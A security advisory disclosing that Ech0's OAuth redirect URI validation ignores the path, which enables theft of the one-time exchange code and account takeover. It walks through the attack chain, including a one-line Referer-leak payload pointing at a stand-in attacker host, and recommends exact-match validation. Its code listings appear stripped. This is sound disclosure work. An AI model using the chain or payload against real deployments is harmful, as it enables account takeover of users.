GHSA-p64j-f4x9-wq66: Ech0's OAuth redirect URI validation ignores path component, enables exchange-code theft
Summary`parseAndValidateClientRedirect` at `internal/service/auth/auth.go:448` validates OAuth client-redirect URIs by comparing only scheme and host against the admin-configured allowlist. Path, query, and fragment are ignored. The initiator at `/oauth/:provider/login` embeds the caller-supplied `redirect_uri` verbatim into the signed state JWT without any validation at login time. Alice submits a crafted `redirect_uri` whose host matches an allowed origin but whose path points to any page on that host. After the provider exchange, Ech0 redirects the victim to the attacker-chosen path with the one-time exchange code in the query string. If the chosen path leaks the URL via Referer, analytics, or an open redirect, the attacker trades the code at `POST /api/auth/exchange` for the victim's access and refresh tokens. RFC 6749 §3.1.2 requires exact redirect URI matching.DetailsValidation at `internal/service/auth/auth.go:448`:Scheme and host compared via `EqualFold`. Path, query, fragment all ignored. An allowlist entry of `https://myecho.example.com/dashboard` matches every `https://myecho.example.com/<anything>` the attacker sends.Login flow at `internal/service/auth/auth.go:141` (`GetOAuthLoginURL`) and the handler at `internal/handler/auth/oauth.go:43`:No validation at login. The raw `redirect_uri` query parameter is passed to `GetOAuthLoginURL`, which encodes it into the signed state JWT alongside the provider name and nonce. The state JWT travels through the OAuth provider and returns on the callback.At callback time, `parseAndValidateClientRedirect(oauthState.Redirect)` fires at `internal/service/auth/auth.go:372` and `:427` inside the callback handler chain. Scheme and host are the only gates on the attacker-chosen URI.After validation, the server generates a one-time exchange code and redirects the browser to the attacker-chosen path:The code is valid at the public endpoint `POST /api/auth/exchange` for up to 60 seconds (single-use). An attacker who reads the code from the URL trades it for the victim's access token and refresh token.Proof of ConceptDefault install with OAuth2 configured. Admin allows `https://myecho.example.com/dashboard` as the return URL; Alice sends a crafted login link whose redirect points elsewhere on the same host:Observed on v4.5.6:All three `redirect_uri` values sail through login with no validation; the state JWT carries the attacker-chosen URL verbatim. The first two pass the callback's scheme+host check against the `dashboard` allowlist entry and the server redirects to the attacker-chosen path with the exchange code appended. The third (different host) fails the callback's allowlist check, so it does not land; the point is that no validation occurs at login time, only at callback, and the callback check ignores path entirely.ImpactAlice delivers a single link to Bob (phishing email, social-engineering message, embedded redirect in a compromised site). Bob clicks, completes OAuth as himself, and lands on the attacker-chosen path on the legitimate Ech0 host with `?code=<one-time>` in the URL. Three paths to full account takeover follow:**Referer leakage.** A single `<img src="https://attacker.site/log">` or `<script src>` on the attacker-chosen path sends the victim's full URL (including the code) to the attacker in the Referer header.**Analytics and third-party scripts.** Any page on the allowlisted host that loads Google Analytics, Sentry, or Segment reports the URL (including the code) to those services. Any attacker with access to those accounts reads the code.**Open-redirect chains.** If any path on the allowlisted host has an open-redirect bug, the attacker targets it and bounces the URL (with the code) to their server.The code is trade-in-able at `POST /api/auth/exchange`, which is public. The exchange returns the victim's access_token and refresh_token. Full account takeover follows.Preconditions: Ech0's OAuth is configured (opt-in), one allowlisted host has any path that leaks URLs, and the attacker reaches the victim with a crafted link. RFC 6749 §3.1.2 exists precisely to prevent this chain.Recommended FixRequire exact redirect URI matching per the spec. Compare scheme, host, and path together:Validate the `redirect_uri` at login time too, so a malformed value never enters the state JWT:Document the exact-match semantics in the admin panel. Every allowlisted return URL needs the full path the front-end lands on.*Found by [aisafe.io](https://aisafe.io)*
CVSS v3.1: 8